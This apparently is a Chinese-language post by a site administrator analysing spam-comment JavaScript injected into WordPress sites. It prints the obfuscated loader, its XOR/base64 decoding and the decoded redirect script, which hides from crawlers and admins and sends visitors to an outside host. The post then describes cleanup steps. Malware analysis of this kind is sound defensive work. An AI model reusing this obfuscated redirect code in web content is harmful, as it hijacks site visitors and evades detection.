在查看了包含此类评论的网站后,我发现它们都是 Wordpress 网站。其中 3 个包含注入的 Javascript(在我们的网站中,所有 javascript 都从帖子中删除,所以也许这就是该代码未成功注入的原因)。混淆后的代码如下所示:
(new Function(String.fromCharCode(19 - 9, 126 - 8, 100 - 3, 122 - 8, 37 - 5, 109 - 2, 104 - 3, 129 - 8, 36 - 4, 67 - 6, 34 - 2, 41 - 2, 106 - 2, 113 - 9, 94 - 8, 123 - 9, 123 - 2, 83 - 4, 130 - 9, 94 - 9, 112 - 2, 80 - 7, 43 - 4, 64 - 5, 15 - 5, 119 - 1, 104 - 7, 122 - 8, 38 - 6, 102 - 1, 111 - 1, 106 - 7, 108 - 7, 109 - 9, 35 - 3, 63 - 2, 41 - 9, 48 - 9, 85 - 4, 74 - 9, 60 - 8, 114 - 8, 76 - 4, 67 - 1, 119 - 8, 57 - 2, 78 - 9, 73 - 5, 118 - 7, 70 - 5, 100 - 3, 89 - 8, 111 - 4, 101 - 3, 86 - 9, 112 - 4, 113 - 1, 84 - 3, 106 - 8, 125 - 6, 76 - 2, 110 - 8, 89 - 5, 112 - 3, 115 - 8, 105 - 4, 68 - 1, 88 - 5, 83 - 1, 85 - 2, 71 - 3, 112 - 8, 74 - 9, 92 - 6, 80 - 1, 107...
解码后变成:
var key = 'hhVryOyUnI';
var enced = 'QA4jHBo7EDoAaQkbMlpQbwJfTmkeCSRSDhAVOg0oHAE5HFlyWXIGPRwYbF1WOQA9GytGCzkfViwKJkEqGxt5VUJFWXUYKBpINR0WJBAwTnRITy8rEz0YYT4KC1A9HzsHHCYdeAEKcUlzRVl1CDwGCyIbFiFZJhooGhx+W1k0c3VOaUgeNwBZLBY6BSANG3ZPWSsWNhskDQYiXBogFj4HLEgUKlJeaEJfTmlISD8UWWcaOgEiAQ0lXBAhHTAWBg5ANR0WJBAwR2lJVWtSVH5QdRVDSEh2UllvCzAaPBoGbXhZb1l1E0NISHZSEClZfQ0mBwM/FwphEDsKLBAnMFpeOAl4HSwcHD8cHjxefE5oVVV2X0hmWS5kaUhIdlJZPRwhGzsGU1xSWW9ZKGRpSEh2Gx9vUTkBKgkEBQYWPRgyC2cPDSI7DSoUfQ0mBwM/F1BvRGhTaU9ZcVtZNHN1TmlISHYAHDsMJwByYkh2Ulkyc3VOaUgeNwBZOhgyCyccSGtSFy4PPAkoHAckXAw8HCcvLg0GIklzb1l1TiAOSH5TDC4eMAA9QUgteFlvWXVOaRoNIgcLIUJfTmlISCt4c29ZdU48CQ8zHA1vRHUbKA8NOAZXOxYZAT4NGhUTCipRfFVDSEh2UhApWX0bKA8NOAZXJhcxCzEnDn5VHiAWMgIsT0F2U0RyWXhfQ0hIdlJZb1l1EjVIHTcVHCENewcnDA0uPR9nXjcBPU9BdlNEcll4X0NISHZSWW9ZdRI1SB03FRwhDXsHJwwNLj0fZ142HCgfBHFbWW5EaE5kWWJ2UllvWXVOaRQUdgcYKBw7GmcBBjIXAQAffUkrAQYxVVBvWGhTaUVZXFJZb1l1TmlIFCpSDC4eMAA9RgE4Fhw3NjNGbhEJPh0WaFB1T3RVSHtDUG8CX05pSEh2UgsqDSAcJ1NidlJZbwRfZGlISHYBHDstPAMsBx0iWh86FzYaIAcGfltZNHN1TmlISHYBHDs6OgEiAQ1+ERYgEjwLZUhPZ0BKaFV1WXpYQW14WW9ZdU5pBAc1ExUcDTocKA8NeAEcOzAhCyRACzkdEiYceU5uWU9/SXNvWXVOaUgfPxwdIA57AiYLCSIbFiFZaE4+NwQ5ERg7EDoAcmJIdlJZMlV1XHlIQnZDSX9JfFVDSEgreFlvHyAAKhwBORxZPBwhLSYHAz8XUSwmOw8kDUR2BBgjDDBCaQ0QMhMAPFB1FUNISHZSDy4LdQsxDAkiF1lyWTsLPkgsNwYcZ1BuZGlISHYXASsYIQtnGw0iNhg7HH0LMQwJIhdXKBwhKigcDX5bWWRZMBYtCRElW0JFWXVOaR4JJFIaEA80AjwNSGtSHDwaNB4sQB43HgwqUHVFaUBAMwodLgAmTnRVSDgHFSNQdVFpT092SFloQnULMRgBJBcKcl51RWkNEDITDSpXIQEcPCsFBgsmFzJGYEFTXFJZb1kxASodBTMcDWEaOgEiAQ12T1ksJjsPJA1IfVJecl51RWkLNyATFTocbmRpSBVceFlvDzQcaRoNNxYAHA00GiwrADMREgYXIQs7Hgk6UkRvCjAaAAYcMwAPLhV9CDwGCyIbFiFRfE4yYkh2UlkmH3VGLQcLIx8cIQ17HCwJDC8hDS4NME50VVV2VRogFCUCLBwNcXhZb1l1TmlISCoOWSsWNhskDQYiXAsqGDEXGhwJIhdZckR1SSAGHDMAGCwNPBgsT0F2CXNvWXVOaUgLOhcYPTA7GiwaHjceUT0cNAowOxw3BhwMETANIiEGIhcLORg5R3JiSHZSWW9ZJhooGhx+W0JFWXVOaRVidlIEY1lkXmBTYlwPUWZQbmRD';
function xor_enc(string, key) {
var res = '';
for (var i = 0; i < string.length; i++) {
res += String.fromCharCode(string.charCodeAt(i) ^
key.charCodeAt(i % key.length));
}
return res;
}
var dec = xor_enc(atob(enced), key);
(new Function(dec))();
进一步解码后:
(function asd() {
var w_location = 'http://vyhub.com/css/css/';
var cookie = 'yYjra4PCc8kmBHess1ib';
function start() {
var cookies = document.cookie || '';
if (cookies.indexOf(cookie) !== -1) {
return;
}
if (cookies.indexOf('wp-settings') !== -1) {
return;
}
if (localStorage.getItem(cookie) === '1') {
return;
}
var uagent = navigator.userAgent;
if (!uagent) {
return;
}
uagent = uagent.toLowerCase();
if (uagent.indexOf('google') !== -1
|| uagent.indexOf('bot') !== -1
|| uagent.indexOf('crawl') !== -1
|| uagent.indexOf('bing') !== -1
|| uagent.indexOf('yahoo') !== -1) {
return;
}
setTimeout(function() {
setCookie(cookie, '123', 730);
localStorage.setItem(cookie, '1');
window.location = w_location;
}, 20 * 1000);
}
function setCookie(c_name, value, exdays) {
var exdate = new Date();
exdate.setDate(exdate.getDate() + exdays);
var c_value = escape(value) + ((exdays == null) ? '' : '; expires=' + exdate.toUTCString());
document.cookie = c_name + '=' + c_value;
}
var readyStateCheckInterval = setInterval(function() {
if (document.readyState === 'complete'
|| document.readyState == 'interactive') {
clearInterval(readyStateCheckInterval);
start();
}
}, 10);
}());
我可以从该代码中得到的是:
如果机器人是用户代理(例如 google、yahoo...)或者您以管理员/编辑器身份运行,它不会运行?(我找不到关于 wp-settings cookie 的信息)。
20秒后:它为被攻击的域设置一个名为“yYjra4PCc8kmBHess1ib”的cookie,值为“123”,并将值为1的密钥存储在本地存储中。(每个站点的密钥必须不同,以识别它)
之后,它会将您的网站重定向到: http://vyhub.com/css/css/
而已。
关于“vyhub.com”:
头版显示:“它的工作......!” 它已在 godaddy.com 注册,但没有更多信息可用。服务器位于新加坡。
http://vyhub.com/css/css/带你去http://loveo.com
关于“loveo.com”:
它是一个位于美国并在美国注册的约会网站。
所以我从中看到的是,他们使用了一个 Wordpress 漏洞来注入一个 JS,它将访问者重定向到 loveo.com。
生意不好...
编码问题:
编码问题可能与其他原因有关:注入代码的代码可能有意(故意破坏)或无意(他们不能很好地处理 unicode)更改了原始内容。
所采取的行动:
日志没有显示任何可疑的东西(到目前为止),所以我们在服务器上运行了一些安全检查,一切似乎都到位了。从备份中恢复后,我们更新了 wordpress(它有点过时)+ 插件并更改了密码。